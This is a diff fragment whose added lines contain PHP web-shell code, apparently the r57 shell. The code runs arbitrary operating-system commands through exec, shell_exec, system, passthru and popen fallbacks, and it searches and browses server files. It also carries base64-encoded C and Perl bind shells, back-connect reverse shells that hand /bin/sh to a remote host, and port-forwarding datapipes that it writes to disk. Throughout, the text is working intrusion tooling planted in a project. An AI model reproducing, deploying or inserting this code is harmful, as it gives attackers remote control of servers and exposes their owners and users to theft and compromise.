+$windows = 0; +$unix = 0; +if(strlen($dir)>1 && $dir[1]==":") $windows=1; else $unix=1; +if(empty($dir)) + { + $os = getenv('OS'); + if(empty($os)){ $os = php_uname(); } + if(empty($os)){ $os ="-"; $unix=1; } + else + { + if(@eregi("^win",$os)) { $windows = 1; } + else { $unix = 1; } + } + } +if(!empty($_POST['s_dir']) && !empty($_POST['s_text']) && !empty($_POST['cmd']) && $_POST['cmd'] == "search_text") + { + echo $head; + if(!empty($_POST['s_mask']) && !empty($_POST['m'])) { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text'],$_POST['s_mask']); } + else { $sr = new SearchResult($_POST['s_dir'],$_POST['s_text']); } + $sr->SearchText(0,0); + $res = $sr->GetResultFiles(); + $found = $sr->GetMatchesCount(); + $titles = $sr->GetTitles(); + $r = ""; + if($found > 0) + { + $r .= "<TABLE width=100%>"; + foreach($res as $file=>$v) + { + $r .= "<TR>"; + $r .= "<TD colspan=2><font face=Verdana size=-2><b>".ws(3); + $r .= ($windows)? str_replace("/","\\",$file) : $file; + $r .= "</b></font></ TD>"; + $r .= "</TR>"; + foreach($v as $a=>$b) + { + $r .= "<TR>"; + $r .= "<TD align=center><B><font face=Verdana size=-2>".$a."</font></B></TD>"; + $r .= "<TD><font face=Verdana size=-2>".ws(2).$b."</font></TD>"; + $r .= "</TR>\n"; + } + } + $r .= "</TABLE>"; + echo $r; + } + else + { + echo "<P align=center><B><font face=Verdana size=-2>".$lang[$language.'_text56']."</B></font></P>"; + } + echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; + die(); + } +if($windows&&!$safe_mode) + { + $uname = ex("ver"); + if(empty($uname)) { $safe_mode = 1; } + } +else if($unix&&!$safe_mode) + { + $uname = ex("uname"); + if(empty($uname)) { $safe_mode = 1; } + } +$SERVER_SOFTWARE = getenv('SERVER_SOFTWARE'); +if(empty($SERVER_SOFTWARE)){ $SERVER_SOFTWARE = "-"; } +function ws($i) +{ +return @str_repeat("&nbsp;",$i); +} +function ex($cfe) +{ + $res = ''; + if (!empty($cfe)) + { + if(function_exists('exec')) + { + @exec($cfe,$res); + $res = join("\n",$res); + } + elseif(function_exists('shell_exec')) + { + $res = @shell_exec($cfe); + } + elseif(function_exists('system')) + { + @ob_start(); + @system($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(function_exists('passthru')) + { + @ob_start(); + @passthru($cfe); + $res = @ob_get_contents(); + @ob_end_clean(); + } + elseif(@is_resource($f = @popen($cfe,"r"))) + { + $res = ""; + while(!@feof($f)) { $res .= @fread($f,1024); } + @pclose($f); + } + } + return $res; +} +function we($i) +{ +if($GLOBALS['language']=="ru"){ $text = '&#1054;&#1096;&#1080;&#1073;&#1082;&#1072;! &#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1079;&#1072;&#1087;&#1080;&#1089;&#1072;&#1090;&#1100; &#1074; &#1092;&#1072;&#1081;&#1083; '; } +else { $text = "[-] ERROR! Can't write in file "; } +echo "<table width=100% cellpadding=0 cellspacing=0><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function re($i) +{ +if($GLOBALS['language']=="ru"){ $text = '&#1054;&#1096;&#1080;&#1073;&#1082;&#1072;! &#1053;&#1077; &#1084;&#1086;&#1075;&#1091; &#1087;&#1088;&#1086;&#1095;&#1080;&#1090;&#1072;&#1090;&#1100; &#1092;&#1072;&#1081;&#1083; '; } +else { $text = "[-] ERROR! Can't read file "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function ce($i) +{ +if($GLOBALS['language']=="ru"){ $text = "&#1053;&#1077; &#1091;&#1076;&#1072;&#1083;&#1086;&#1089;&#1100; &#1089;&#1086;&#1079;&#1076;&#1072;&#1090;&#1100; "; } +else { $text = "Can't create "; } +echo "<table width=100% cellpadding=0 cellspacing=0 bgcolor=#000000><tr><td bgcolor=#cccccc><font color=red face=Verdana size=-2><div align=center><b>".$text.$i."</b></div></font></td></tr></table>"; +return null; +} +function perms($mode) +{ +if ($GLOBALS['windows']) return 0; +if( $mode & 0x1000 ) { $type='p'; } +else if( $mode & 0x2000 ) { $type='c'; } +else if( $mode & 0x4000 ) { $type='d'; } +else if( $mode & 0x6000 ) { $type='b'; } +else if( $mode & 0x8000 ) { $type='-'; } +else if( $mode & 0xA000 ) { $type='l'; } +else if( $mode & 0xC000 ) { $type='s'; } +else $type='u'; +$owner["read"] = ($mode & 00400) ? 'r' : '-'; +$owner["write"] = ($mode & 00200) ? 'w' : '-'; +$owner["execute"] = ($mode & 00100) ? 'x' : '-'; +$group["read"] = ($mode & 00040) ? 'r' : '-'; +$group["write"] = ($mode & 00020) ? 'w' : '-'; +$group["execute"] = ($mode & 00010) ? 'x' : '-'; +$world["read"] = ($mode & 00004) ? 'r' : '-'; +$world["write"] = ($mode & 00002) ? 'w' : '-'; +$world["execute"] = ($mode & 00001) ? 'x' : '-'; +if( $mode & 0x800 ) $owner["execute"] = ($owner['execute']=='x') ? 's' : 'S'; +if( $mode & 0x400 ) $group["execute"] = ($group['execute']=='x') ? 's' : 'S'; +if( $mode & 0x200 ) $world["execute"] = ($world['execute']=='x') ? 't' : 'T'; +$s=sprintf("%1s", $type); +$s.=sprintf("%1s%1s%1s", $owner['read'], $owner['write'], $owner['execute']); +$s.=sprintf("%1s%1s%1s", $group['read'], $group['write'], $group['execute']); +$s.=sprintf("%1s%1s%1s", $world['read'], $world['write'], $world['execute']); +return trim($s); +} +function in($type,$name,$size,$value) +{ + $ret = "<input type=".$type." name=".$name." "; + if($size != 0) { $ret .= "size=".$size." "; } + $ret .= "value=\"".$value."\">"; + return $ret; +} +function which($pr) +{ +$path = ex("which $pr"); +if(!empty($path)) { return $path; } else { return $pr; } +} +function cf($fname,$text) +{ + $w_file=@fopen($fname,"w") or we($fname); + if($w_file) + { + @fputs($w_file,@base64_decode($text)); + @fclose($w_file); + } +} +function sr($l,$t1,$t2) + { + return "<tr class=tr1><td class=td1 width=".$l."% align=right>".$t1."</td><td class=td1 align=left>".$t2."</td></tr>"; + } +if (!@function_exists("view_size")) +{ +function view_size($size) +{ + if($size >= 1073741824) {$size = @round($size / 1073741824 * 100) / 100 . " GB";} + elseif($size >= 1048576) {$size = @round($size / 1048576 * 100) / 100 . " MB";} + elseif($size >= 1024) {$size = @round($size / 1024 * 100) / 100 . " KB";} + else {$size = $size . " B";} + return $size; +} +} +function DirFiles($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (FALSE !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(!is_dir($dir."/".$file)) + { + if($types) + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,@explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirFilesWide($dir) + { + $files = Array(); + $dirs = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + $file = @strtoupper($file); + $dirs[$file] = '&lt;DIR&gt;'; + } + else + $files[$file] = @filesize($dir."/".$file); + } + } + @closedir($handle); + @ksort($dirs); + @ksort($files); + $files = @array_merge($dirs,$files); + } + return $files; + } + function DirFilesR($dir,$types='') + { + $files = Array(); + if(($handle = @opendir($dir))) + { + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + $files = @array_merge($files,DirFilesR($dir."/".$file,$types)); + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if($types) + { + if(@in_array($ext,explode(';',$types))) + $files[] = $dir."/".$file; + } + else + $files[] = $dir."/".$file; + } + } + } + @closedir($handle); + } + return $files; + } + function DirPrintHTMLHeaders($dir) + { + $pockets = ''; + $handle = @opendir($dir) or die("Can't open directory $dir"); + echo " <ul style='margin-left: 0px; padding-left: 20px;'>\n"; + while (false !== ($file = @readdir($handle))) + { + if ($file != "." && $file != "..") + { + if(@is_dir($dir."/".$file)) + { + echo " <li><b>[ $file ]</b></li>\n"; + DirPrintHTMLHeaders($dir."/".$file); + } + else + { + $pos = @strrpos($file,"."); + $ext = @substr($file,$pos,@strlen($file)-$pos); + if(@in_array($ext,array('.htm','.html'))) + { + $header = '-=None=-'; + $strings = @file($dir."/".$file) or die("Can't open file ".$dir."/".$file); + for($a=0;$a<count($strings);$a++) + { + $pattern = '(<title>(.+)</title>)'; + if(@eregi($pattern,$strings[$a],$pockets)) + { + $header = "&laquo;".$pockets[2]."&raquo;"; + break; + } + } + echo " <li>".$header."</li>\n"; + } + } + } + } + echo " </ul>\n"; + @closedir($handle); + } + + class SearchResult + { + var $text; + var $FilesToSearch; + var $ResultFiles; + var $FilesTotal; + var $MatchesCount; + var $FileMatschesCount; + var $TimeStart; + var $TimeTotal; + var $titles; + function SearchResult($dir,$text,$filter='') + { + $dirs = @explode(";",$dir); + $this->FilesToSearch = Array(); + for($a=0;$a<count($dirs);$a++) + $this->FilesToSearch = @array_merge($this->FilesToSearch,DirFilesR($dirs[$a],$filter)); + $this->text = $text; + $this->FilesTotal = @count($this->FilesToSearch); + $this->TimeStart = getmicrotime(); + $this->MatchesCount = 0; + $this->ResultFiles = Array(); + $this->FileMatchesCount = Array(); + $this->titles = Array(); + } + function GetFilesTotal() { return $this->FilesTotal; } + function GetTitles() { return $this->titles; } + function GetTimeTotal() { return $this->TimeTotal; } + function GetMatchesCount() { return $this->MatchesCount; } + function GetFileMatchesCount() { return $this->FileMatchesCount; } + function GetResultFiles() { return $this->ResultFiles; } + function SearchText($phrase=0,$case=0) { + $qq = @explode(' ',$this->text); + $delim = '|'; + if($phrase) + foreach($qq as $k=>$v) + $qq[$k] = '\b'.$v.'\b'; + $words = '('.@implode($delim,$qq).')'; + $pattern = "/".$words."/"; + if(!$case) + $pattern .= 'i'; + foreach($this->FilesToSearch as $k=>$filename) + { + $this->FileMatchesCount[$filename] = 0; + $FileStrings = @file($filename) or @next; + for($a=0;$a<@count($FileStrings);$a++) + { + $count = 0; + $CurString = $FileStrings[$a]; + $CurString = @Trim($CurString); + $CurString = @strip_tags($CurString); + $aa = ''; + if(($count = @preg_match_all($pattern,$CurString,$aa))) + { + $CurString = @preg_replace($pattern,"<SPAN style='color: #990000;'><b>\\1</b></SPAN>",$CurString); + $this->ResultFiles[$filename][$a+1] = $CurString; + $this->MatchesCount += $count; + $this->FileMatchesCount[$filename] += $count; + } + } + } + $this->TimeTotal = @round(getmicrotime() - $this->TimeStart,4); + } + } + function getmicrotime() + { + list($usec,$sec) = @explode(" ",@microtime()); + return ((float)$usec + (float)$sec); + } +$port_bind_bd_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8c3lzL3R5cGVzLmg+DQojaW5jbHVkZS +A8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxlcnJuby5oPg0KaW50IG1haW4oYXJnYyxhcmd2KQ0KaW50I +GFyZ2M7DQpjaGFyICoqYXJndjsNCnsgIA0KIGludCBzb2NrZmQsIG5ld2ZkOw0KIGNoYXIgYnVmWzMwXTsNCiBzdHJ1Y3Qgc29ja2FkZHJfaW4gcmVt +b3RlOw0KIGlmKGZvcmsoKSA9PSAwKSB7IA0KIHJlbW90ZS5zaW5fZmFtaWx5ID0gQUZfSU5FVDsNCiByZW1vdGUuc2luX3BvcnQgPSBodG9ucyhhdG9 +pKGFyZ3ZbMV0pKTsNCiByZW1vdGUuc2luX2FkZHIuc19hZGRyID0gaHRvbmwoSU5BRERSX0FOWSk7IA0KIHNvY2tmZCA9IHNvY2tldChBRl9JTkVULF +NPQ0tfU1RSRUFNLDApOw0KIGlmKCFzb2NrZmQpIHBlcnJvcigic29ja2V0IGVycm9yIik7DQogYmluZChzb2NrZmQsIChzdHJ1Y3Qgc29ja2FkZHIgK +ikmcmVtb3RlLCAweDEwKTsNCiBsaXN0ZW4oc29ja2ZkLCA1KTsNCiB3aGlsZSgxKQ0KICB7DQogICBuZXdmZD1hY2NlcHQoc29ja2ZkLDAsMCk7DQog +ICBkdXAyKG5ld2ZkLDApOw0KICAgZHVwMihuZXdmZCwxKTsNCiAgIGR1cDIobmV3ZmQsMik7DQogICB3cml0ZShuZXdmZCwiUGFzc3dvcmQ6IiwxMCk +7DQogICByZWFkKG5ld2ZkLGJ1ZixzaXplb2YoYnVmKSk7DQogICBpZiAoIWNocGFzcyhhcmd2WzJdLGJ1ZikpDQogICBzeXN0ZW0oImVjaG8gd2VsY2 +9tZSB0byByNTcgc2hlbGwgJiYgL2Jpbi9iYXNoIC1pIik7DQogICBlbHNlDQogICBmcHJpbnRmKHN0ZGVyciwiU29ycnkiKTsNCiAgIGNsb3NlKG5ld +2ZkKTsNCiAgfQ0KIH0NCn0NCmludCBjaHBhc3MoY2hhciAqYmFzZSwgY2hhciAqZW50ZXJlZCkgew0KaW50IGk7DQpmb3IoaT0wO2k8c3RybGVuKGVu +dGVyZWQpO2krKykgDQp7DQppZihlbnRlcmVkW2ldID09ICdcbicpDQplbnRlcmVkW2ldID0gJ1wwJzsgDQppZihlbnRlcmVkW2ldID09ICdccicpDQp +lbnRlcmVkW2ldID0gJ1wwJzsNCn0NCmlmICghc3RyY21wKGJhc2UsZW50ZXJlZCkpDQpyZXR1cm4gMDsNCn0="; +$port_bind_bd_pl="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vYmFzaCAtaSI7DQppZiAoQEFSR1YgPCAxKSB7IGV4aXQoMSk7IH0NCiRMS +VNURU5fUE9SVD0kQVJHVlswXTsNCnVzZSBTb2NrZXQ7DQokcHJvdG9jb2w9Z2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0Kc29ja2V0KFMsJlBGX0lORVQs +JlNPQ0tfU1RSRUFNLCRwcm90b2NvbCkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVV +TRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJExJU1RFTl9QT1JULElOQUREUl9BTlkpKSB8fCBkaWUgIkNhbnQgb3BlbiBwb3J0XG4iOw0KbG +lzdGVuKFMsMykgfHwgZGllICJDYW50IGxpc3RlbiBwb3J0XG4iOw0Kd2hpbGUoMSkNCnsNCmFjY2VwdChDT05OLFMpOw0KaWYoISgkcGlkPWZvcmspK +Q0Kew0KZGllICJDYW5ub3QgZm9yayIgaWYgKCFkZWZpbmVkICRwaWQpOw0Kb3BlbiBTVERJTiwiPCZDT05OIjsNCm9wZW4gU1RET1VULCI+JkNPTk4i +Ow0Kb3BlbiBTVERFUlIsIj4mQ09OTiI7DQpleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCmNsb3N +lIENPTk47DQpleGl0IDA7DQp9DQp9"; +$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj +aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR +hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT +sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI +kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi +KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl +OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; +$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC +BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb +SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd +KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ +sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC +Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D +QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp +Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; +$datapipe_c="I2luY2x1ZGUgPHN5cy90eXBlcy5oPg0KI2luY2x1ZGUgPHN5cy9zb2NrZXQuaD4NCiNpbmNsdWRlIDxzeXMvd2FpdC5oPg0KI2luY2 +x1ZGUgPG5ldGluZXQvaW4uaD4NCiNpbmNsdWRlIDxzdGRpby5oPg0KI2luY2x1ZGUgPHN0ZGxpYi5oPg0KI2luY2x1ZGUgPGVycm5vLmg+DQojaW5jb +HVkZSA8dW5pc3RkLmg+DQojaW5jbHVkZSA8bmV0ZGIuaD4NCiNpbmNsdWRlIDxsaW51eC90aW1lLmg+DQojaWZkZWYgU1RSRVJST1INCmV4dGVybiBj +aGFyICpzeXNfZXJybGlzdFtdOw0KZXh0ZXJuIGludCBzeXNfbmVycjsNCmNoYXIgKnVuZGVmID0gIlVuZGVmaW5lZCBlcnJvciI7DQpjaGFyICpzdHJ +lcnJvcihlcnJvcikgIA0KaW50IGVycm9yOyAgDQp7IA0KaWYgKGVycm9yID4gc3lzX25lcnIpDQpyZXR1cm4gdW5kZWY7DQpyZXR1cm4gc3lzX2Vycm +xpc3RbZXJyb3JdOw0KfQ0KI2VuZGlmDQoNCm1haW4oYXJnYywgYXJndikgIA0KICBpbnQgYXJnYzsgIA0KICBjaGFyICoqYXJndjsgIA0KeyANCiAga +W50IGxzb2NrLCBjc29jaywgb3NvY2s7DQogIEZJTEUgKmNmaWxlOw0KICBjaGFyIGJ1Zls0MDk2XTsNCiAgc3RydWN0IHNvY2thZGRyX2luIGxhZGRy +LCBjYWRkciwgb2FkZHI7DQogIGludCBjYWRkcmxlbiA9IHNpemVvZihjYWRkcik7DQogIGZkX3NldCBmZHNyLCBmZHNlOw0KICBzdHJ1Y3QgaG9zdGV +udCAqaDsNCiAgc3RydWN0IHNlcnZlbnQgKnM7DQogIGludCBuYnl0Ow0KICB1bnNpZ25lZCBsb25nIGE7DQogIHVuc2lnbmVkIHNob3J0IG9wb3J0Ow +0KDQogIGlmIChhcmdjICE9IDQpIHsNCiAgICBmcHJpbnRmKHN0ZGVyciwiVXNhZ2U6ICVzIGxvY2FscG9ydCByZW1vdGVwb3J0IHJlbW90ZWhvc3Rcb +iIsYXJndlswXSk7DQogICAgcmV0dXJuIDMwOw0KICB9DQogIGEgPSBpbmV0X2FkZHIoYXJndlszXSk7DQogIGlmICghKGggPSBnZXRob3N0YnluYW1l +KGFyZ3ZbM10pKSAmJg0KICAgICAgIShoID0gZ2V0aG9zdGJ5YWRkcigmYSwgNCwgQUZfSU5FVCkpKSB7DQogICAgcGVycm9yKGFyZ3ZbM10pOw0KICA +gIHJldHVybiAyNTsNCiAgfQ0KICBvcG9ydCA9IGF0b2woYXJndlsyXSk7DQogIGxhZGRyLnNpbl9wb3J0ID0gaHRvbnMoKHVuc2lnbmVkIHNob3J0KS +hhdG9sKGFyZ3ZbMV0pKSk7DQogIGlmICgobHNvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNC +iAgICBwZXJyb3IoInNvY2tldCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBsYWRkci5zaW5fZmFtaWx5ID0gaHRvbnMoQUZfSU5FVCk7DQogIGxh +ZGRyLnNpbl9hZGRyLnNfYWRkciA9IGh0b25sKDApOw0KICBpZiAoYmluZChsc29jaywgJmxhZGRyLCBzaXplb2YobGFkZHIpKSkgew0KICAgIHBlcnJ +vcigiYmluZCIpOw0KICAgIHJldHVybiAyMDsNCiAgfQ0KICBpZiAobGlzdGVuKGxzb2NrLCAxKSkgew0KICAgIHBlcnJvcigibGlzdGVuIik7DQogIC +AgcmV0dXJuIDIwOw0KICB9DQogIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0gLTEpIHsNCiAgICBwZXJyb3IoImZvcmsiKTsNCiAgICByZXR1cm4gMjA7D +QogIH0NCiAgaWYgKG5ieXQgPiAwKQ0KICAgIHJldHVybiAwOw0KICBzZXRzaWQoKTsNCiAgd2hpbGUgKChjc29jayA9IGFjY2VwdChsc29jaywgJmNh +ZGRyLCAmY2FkZHJsZW4pKSAhPSAtMSkgew0KICAgIGNmaWxlID0gZmRvcGVuKGNzb2NrLCJyKyIpOw0KICAgIGlmICgobmJ5dCA9IGZvcmsoKSkgPT0 +gLTEpIHsNCiAgICAgIGZwcmludGYoY2ZpbGUsICI1MDAgZm9yazogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgICBzaHV0ZG93bihjc29jay +wyKTsNCiAgICAgIGZjbG9zZShjZmlsZSk7DQogICAgICBjb250aW51ZTsNCiAgICB9DQogICAgaWYgKG5ieXQgPT0gMCkNCiAgICAgIGdvdG8gZ290c +29jazsNCiAgICBmY2xvc2UoY2ZpbGUpOw0KICAgIHdoaWxlICh3YWl0cGlkKC0xLCBOVUxMLCBXTk9IQU5HKSA+IDApOw0KICB9DQogIHJldHVybiAy +MDsNCg0KIGdvdHNvY2s6DQogIGlmICgob3NvY2sgPSBzb2NrZXQoUEZfSU5FVCwgU09DS19TVFJFQU0sIElQUFJPVE9fVENQKSkgPT0gLTEpIHsNCiA +gICBmcHJpbnRmKGNmaWxlLCAiNTAwIHNvY2tldDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICBvYWRkci +5zaW5fZmFtaWx5ID0gaC0+aF9hZGRydHlwZTsNCiAgb2FkZHIuc2luX3BvcnQgPSBodG9ucyhvcG9ydCk7DQogIG1lbWNweSgmb2FkZHIuc2luX2FkZ +HIsIGgtPmhfYWRkciwgaC0+aF9sZW5ndGgpOw0KICBpZiAoY29ubmVjdChvc29jaywgJm9hZGRyLCBzaXplb2Yob2FkZHIpKSkgew0KICAgIGZwcmlu +dGYoY2ZpbGUsICI1MDAgY29ubmVjdDogJXNcbiIsIHN0cmVycm9yKGVycm5vKSk7DQogICAgZ290byBxdWl0MTsNCiAgfQ0KICB3aGlsZSAoMSkgew0 +KICAgIEZEX1pFUk8oJmZkc3IpOw0KICAgIEZEX1pFUk8oJmZkc2UpOw0KICAgIEZEX1NFVChjc29jaywmZmRzcik7DQogICAgRkRfU0VUKGNzb2NrLC +ZmZHNlKTsNCiAgICBGRF9TRVQob3NvY2ssJmZkc3IpOw0KICAgIEZEX1NFVChvc29jaywmZmRzZSk7DQogICAgaWYgKHNlbGVjdCgyMCwgJmZkc3IsI +E5VTEwsICZmZHNlLCBOVUxMKSA9PSAtMSkgew0KICAgICAgZnByaW50ZihjZmlsZSwgIjUwMCBzZWxlY3Q6ICVzXG4iLCBzdHJlcnJvcihlcnJubykp +Ow0KICAgICAgZ290byBxdWl0MjsNCiAgICB9DQogICAgaWYgKEZEX0lTU0VUKGNzb2NrLCZmZHNyKSB8fCBGRF9JU1NFVChjc29jaywmZmRzZSkpIHs +NCiAgICAgIGlmICgobmJ5dCA9IHJlYWQoY3NvY2ssYnVmLDQwOTYpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgICBpZiAoKHdyaXRlKG9zb2NrLG +J1ZixuYnl0KSkgPD0gMCkNCglnb3RvIHF1aXQyOw0KICAgIH0gZWxzZSBpZiAoRkRfSVNTRVQob3NvY2ssJmZkc3IpIHx8IEZEX0lTU0VUKG9zb2NrL +CZmZHNlKSkgew0KICAgICAgaWYgKChuYnl0ID0gcmVhZChvc29jayxidWYsNDA5NikpIDw9IDApDQoJZ290byBxdWl0MjsNCiAgICAgIGlmICgod3Jp +dGUoY3NvY2ssYnVmLG5ieXQpKSA8PSAwKQ0KCWdvdG8gcXVpdDI7DQogICAgfQ0KICB9DQoNCiBxdWl0MjoNCiAgc2h1dGRvd24ob3NvY2ssMik7DQo +gIGNsb3NlKG9zb2NrKTsNCiBxdWl0MToNCiAgZmZsdXNoKGNmaWxlKTsNCiAgc2h1dGRvd24oY3NvY2ssMik7DQogcXVpdDA6DQogIGZjbG9zZShjZm +lsZSk7DQogIHJldHVybiAwOw0KfQ=="; +$datapipe_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCnVzZSBQT1NJWDsNCiRsb2NhbHBvcnQgPSAkQVJHVlswXTsNCiRob3N0I +CAgICAgPSAkQVJHVlsxXTsNCiRwb3J0ICAgICAgPSAkQVJHVlsyXTsNCiRkYWVtb249MTsNCiRESVIgPSB1bmRlZjsNCiR8ID0gMTsNCmlmICgkZGFl +bW9uKXsgJHBpZCA9IGZvcms7IGV4aXQgaWYgJHBpZDsgZGllICIkISIgdW5sZXNzIGRlZmluZWQoJHBpZCk7IFBPU0lYOjpzZXRzaWQoKSBvciBkaWU +gIiQhIjsgfQ0KJW8gPSAoJ3BvcnQnID0+ICRsb2NhbHBvcnQsJ3RvcG9ydCcgPT4gJHBvcnQsJ3RvaG9zdCcgPT4gJGhvc3QpOw0KJGFoID0gSU86Ol +NvY2tldDo6SU5FVC0+bmV3KCdMb2NhbFBvcnQnID0+ICRsb2NhbHBvcnQsJ1JldXNlJyA9PiAxLCdMaXN0ZW4nID0+IDEwKSB8fCBkaWUgIiQhIjsNC +iRTSUd7J0NITEQnfSA9ICdJR05PUkUnOw0KJG51bSA9IDA7DQp3aGlsZSAoMSkgeyANCiRjaCA9ICRhaC0+YWNjZXB0KCk7IGlmICghJGNoKSB7IHBy +aW50IFNUREVSUiAiJCFcbiI7IG5leHQ7IH0NCisrJG51bTsNCiRwaWQgPSBmb3JrKCk7DQppZiAoIWRlZmluZWQoJHBpZCkpIHsgcHJpbnQgU1RERVJ +SICIkIVxuIjsgfSANCmVsc2lmICgkcGlkID09IDApIHsgJGFoLT5jbG9zZSgpOyBSdW4oXCVvLCAkY2gsICRudW0pOyB9IA0KZWxzZSB7ICRjaC0+Y2 +xvc2UoKTsgfQ0KfQ0Kc3ViIFJ1biB7DQpteSgkbywgJGNoLCAkbnVtKSA9IEBfOw0KbXkgJHRoID0gSU86OlNvY2tldDo6SU5FVC0+bmV3KCdQZWVyQ +WRkcicgPT4gJG8tPnsndG9ob3N0J30sJ1BlZXJQb3J0JyA9PiAkby0+eyd0b3BvcnQnfSk7DQppZiAoISR0aCkgeyBleGl0IDA7IH0NCm15ICRmaDsN +CmlmICgkby0+eydkaXInfSkgeyAkZmggPSBTeW1ib2w6OmdlbnN5bSgpOyBvcGVuKCRmaCwgIj4kby0+eydkaXInfS90dW5uZWwkbnVtLmxvZyIpIG9 +yIGRpZSAiJCEiOyB9DQokY2gtPmF1dG9mbHVzaCgpOw0KJHRoLT5hdXRvZmx1c2goKTsNCndoaWxlICgkY2ggfHwgJHRoKSB7DQpteSAkcmluID0gIi +I7DQp2ZWMoJHJpbiwgZmlsZW5vKCRjaCksIDEpID0gMSBpZiAkY2g7DQp2ZWMoJHJpbiwgZmlsZW5vKCR0aCksIDEpID0gMSBpZiAkdGg7DQpteSgkc +m91dCwgJGVvdXQpOw0Kc2VsZWN0KCRyb3V0ID0gJHJpbiwgdW5kZWYsICRlb3V0ID0gJHJpbiwgMTIwKTsNCmlmICghJHJvdXQgICYmICAhJGVvdXQp 